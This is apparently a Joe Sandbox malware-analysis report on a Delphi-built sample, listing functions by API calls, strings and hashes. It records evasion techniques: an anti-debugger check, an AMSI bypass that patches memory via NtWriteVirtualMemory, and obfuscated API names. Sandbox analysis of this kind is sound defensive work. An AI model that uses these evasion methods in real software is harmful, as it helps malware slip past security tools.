RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02835AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02835B37
RegQueryValueExA.ADVAPI32(?,02835CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001), ref: 02835B55
RegCloseKey.ADVAPI32(?,02835B84,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02835B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02835B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02835BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02835BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02835BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02835C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02835C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02835AE4
Software\Borland\Locales, xrefs: 02835AA8, 02835AC6

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 3bfd785e2916d0cc76f0bff8e5b4182da16f6d25390cc79155fe9beef331913f
Instruction ID: 7d31e59b48b37cb6463214799bd9763412aac47acce82f12393674953d37a350
Opcode Fuzzy Hash: 3bfd785e2916d0cc76f0bff8e5b4182da16f6d25390cc79155fe9beef331913f
Instruction Fuzzy Hash: 77519C7DA4024C7EFB22D6A8CC46FEF77BD9B08744F8005A1A608E6181D7789A44CFE5

Function 0284F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 0284F034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0284F046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0284F05D

Strings

CheckRemoteDebuggerPresent, xrefs: 0284F040
KernelBase, xrefs: 0284F02F

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 83fe20b13194929b5f80680e7b0c34ba0aa6e60d934ea1f2c54a7ed495357589
Instruction ID: ebc55851c013aed7f88c3cafcb989e7a95a94a61778ded65c4f9b05d16def281
Opcode Fuzzy Hash: 83fe20b13194929b5f80680e7b0c34ba0aa6e60d934ea1f2c54a7ed495357589
Instruction Fuzzy Hash: 2CF0273C90021CBBEB11B6AC88887DDFBB85B25328F2403C8A524E21C1FB751650C692

Function 0284DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0284E064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0284E090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0284E099

Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 21cd23c5658ef3ec552ba05194d6a9a215f46cfc204c2f304417e158e64a8f2a
Instruction ID: 7ed0940dd9940be7713d37366e6c8b92cc042472dcef0b3815641337ec2b7dd9
Opcode Fuzzy Hash: 21cd23c5658ef3ec552ba05194d6a9a215f46cfc204c2f304417e158e64a8f2a
Instruction Fuzzy Hash: BB21A47965070CBBEB11EAD8CC56FDE77BDAB48B04F500461B700F71C0DAB4AA058B96

Function 0284E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0284E86A

Strings

OpenSession, xrefs: 0284E80C
Initialize, xrefs: 0284E75A
ScanBuffer, xrefs: 0284E7B3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: d16726e8e50e22b790f5bd2594d85b0f70ab9f4f4abfba02717b6ca6cc96d42e
Instruction ID: 57277859474292a67ad21660486b1471fdbf69052e40f4891f91bb4492e4b2f7
Opcode Fuzzy Hash: d16726e8e50e22b790f5bd2594d85b0f70ab9f4f4abfba02717b6ca6cc96d42e
Instruction Fuzzy Hash: 12410B7DA1020C9FEB12EBA8D880A9EB7FAFF98710F214461E401E7251DE74AD058F52

Function 02847CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A

Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C

Strings

yromeMlautriVetirW, xrefs: 02847D13
Ntdll, xrefs: 02847D43

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: ade7fa21b3d13f7b00c38fbd0601979fa0af1ac5f5b99291662113ab5cf9858f
Instruction ID: 0739465de6201af623f1bea04a773dc2a00899d97244bba2ed2f1087029dfb2e
Opcode Fuzzy Hash: ade7fa21b3d13f7b00c38fbd0601979fa0af1ac5f5b99291662113ab5cf9858f
Instruction Fuzzy Hash: 2101697D610208BFEB01EFA8D841EAAB7EDEB48710F514860B900D3694CA74A9148BA1

Function 02846D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02846CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02846D39,?,?,?,00000000), ref: 02846D19

CoCreateInstance.OLE32(?,00000000,00000005,02846E2C,00000000,00000000,02846DAB,?,00000000,02846E1B), ref: 02846D97

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 01b523a6a43c03a0dec3a1d736cd65714ce78a1144f0e2f4cc67476dab357ce1
Instruction ID: c797a9f688213294967b544ef6fed879c4f5b083022462b74d80e4f493208cf9
Opcode Fuzzy Hash: 01b523a6a43c03a0dec3a1d736cd65714ce78a1144f0e2f4cc67476dab357ce1
Instruction Fuzzy Hash: 4A01F77D60871C6FF715DF68DC1296B7BEDE74AB10B614835F501D2640FA359900C8A5

Function 02831724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028317D0
Sleep.KERNEL32(0000000A,00000000), ref: 028317E6

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e2ee88285229ea5924c3a56facb9ad777706057530e193865f3b53e45149bd79
Instruction ID: ba416a552bc2d73b153c520df68db67eb11ff161e906e0eec6c31bab46c13664
Opcode Fuzzy Hash: e2ee88285229ea5924c3a56facb9ad777706057530e193865f3b53e45149bd79
Instruction Fuzzy Hash: 72B1127EA002918BDB16CF2CE888365BBE1FB94715F5886AAD54ECB3C5C7709461CBD0

Function 02848704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 0284870D

Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125

Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0284876C

Strings

DllGetClassObject, xrefs: 02848732
W, xrefs: 02848719
amsi, xrefs: 02848708

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 2e49418a818ffe17aa24abccc8b4ab0ed3f7d93e83e532d1073caf0d7b365b26
Instruction ID: b3ec585742d48765e4ecf972141b693450aba9950bed6a5983af5954ca526c93
Opcode Fuzzy Hash: 2e49418a818ffe17aa24abccc8b4ab0ed3f7d93e83e532d1073caf0d7b365b26
Instruction Fuzzy Hash: 34F0625954C385BAE201E67C8C45F4BBFCD4B92224F048E5DB1E8DA2D2EA79D1048BB7

Function 02831A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02831FE4), ref: 02831B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02831FE4), ref: 02831B31

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 64c27c51a86103a7e8bde44c1acb7456e214cc24592ac7211ef1c6d0ae3ccfb3
Instruction ID: ae99671aacbed103433a848ab84d6003e10bd25d5fc554bcbb017defa1d93a3b
Opcode Fuzzy Hash: 64c27c51a86103a7e8bde44c1acb7456e214cc24592ac7211ef1c6d0ae3ccfb3
Instruction Fuzzy Hash: A451E07D6012408FEB16DF6CD988796BBD0AB45B18F2885AED54CCB2C6E770C445CBE1

Function 0284E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0284E86A

Strings

OpenSession, xrefs: 0284E80C
Initialize, xrefs: 0284E75A
ScanBuffer, xrefs: 0284E7B3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 79f1bd04ee532b91a85272492642742e6631bf460cc7831e6802f448f3e791cd
Instruction ID: 27c0ea0b4d9eaaeaf909c6161d3fb6e519f4b88c7e6d6cba2a610e3255b1ce5f
Opcode Fuzzy Hash: 79f1bd04ee532b91a85272492642742e6631bf460cc7831e6802f448f3e791cd
Instruction Fuzzy Hash: F6410B7DA1020C9FEB12EBA8D880A9EB7FAFF98710F214461E401E7251DE74AD058F52

Function 0284881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879

Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C

FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: 1aec669e57eca8748f84c2f68c5121a3138221a6b2983cca53a4e045c472d0cb
Instruction ID: de25ade9ce1ec483caeac776a2628a3c226948aef2e6d2925e8f36c6781d5f03
Opcode Fuzzy Hash: 1aec669e57eca8748f84c2f68c5121a3138221a6b2983cca53a4e045c472d0cb
Instruction Fuzzy Hash: 8411547DB40718BBEB01FBBCCC01A1E77A9EB45700F5404647A04EB7A4EA7499105B96

Function 0283E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 0283E2F3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: e0cd87ec89413b64a158ebff12bfc171d8f972f42324541c666d1779106c7c07
Instruction ID: 14fd749923e22078eecee00f426fc1fde5e9a12f3a23bcef60b2bd1a77bb4986
Opcode Fuzzy Hash: e0cd87ec89413b64a158ebff12bfc171d8f972f42324541c666d1779106c7c07
Instruction Fuzzy Hash: AAF0622D708218D7DB277B3CC9C456D279A5F4471575C5426B80AEB245CB389C15CBE3

Function 0284705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0284735A

Strings

H, xrefs: 02847111

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 8586e7d651284ffadad194d717bde8e7facba907c47c41173bdf0bb452e46eeb
Instruction ID: a9f3b27830c70a69970db58ae8590bbb68dc859072d2cb16b36ee29ba9d5f5ff
Opcode Fuzzy Hash: 8586e7d651284ffadad194d717bde8e7facba907c47c41173bdf0bb452e46eeb
Instruction Fuzzy Hash: 0AB1D078A016189FDB11CF99D880A9DFBF6FF49314F248569E809EB360DB30A845CF90

Function 0283E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0283E3BC

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: ac938681f277a9572a08ac2adef8efbbcf47ac50d86c03686dc24b340a6b5c6f
Instruction ID: 3f5ced19059492bfdec1e71c237857e65b678341579b241e827090135f4891c7
Opcode Fuzzy Hash: ac938681f277a9572a08ac2adef8efbbcf47ac50d86c03686dc24b340a6b5c6f
Instruction Fuzzy Hash: 39315E7DA00608ABDB12DFACC984AAA77E8FF0C314F484561F909D3640D334D991CBE2

Function 02846CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02846D39,?,?,?,00000000), ref: 02846D19

Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 7235fd169fdd0a6e8bad162b2b92f0498cc2e713abf1da8a0a08fa3bb15d7ed5
Instruction ID: dc178f25a8edf6717bdb4d318712d14967275b1b304bff7727ec0eb48a65adfc
Opcode Fuzzy Hash: 7235fd169fdd0a6e8bad162b2b92f0498cc2e713abf1da8a0a08fa3bb15d7ed5
Instruction Fuzzy Hash: 64E06D7D604318BFF712EBA9CC52A5A77EDDB8AB10B510471A800D7601EA75BE0088A2

Function 02835814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 02835832

Part of subcall function 02835A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02830000,0285E790), ref: 02835A94
Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AB2
Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AD0
Part of subcall function 02835A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02835AEE
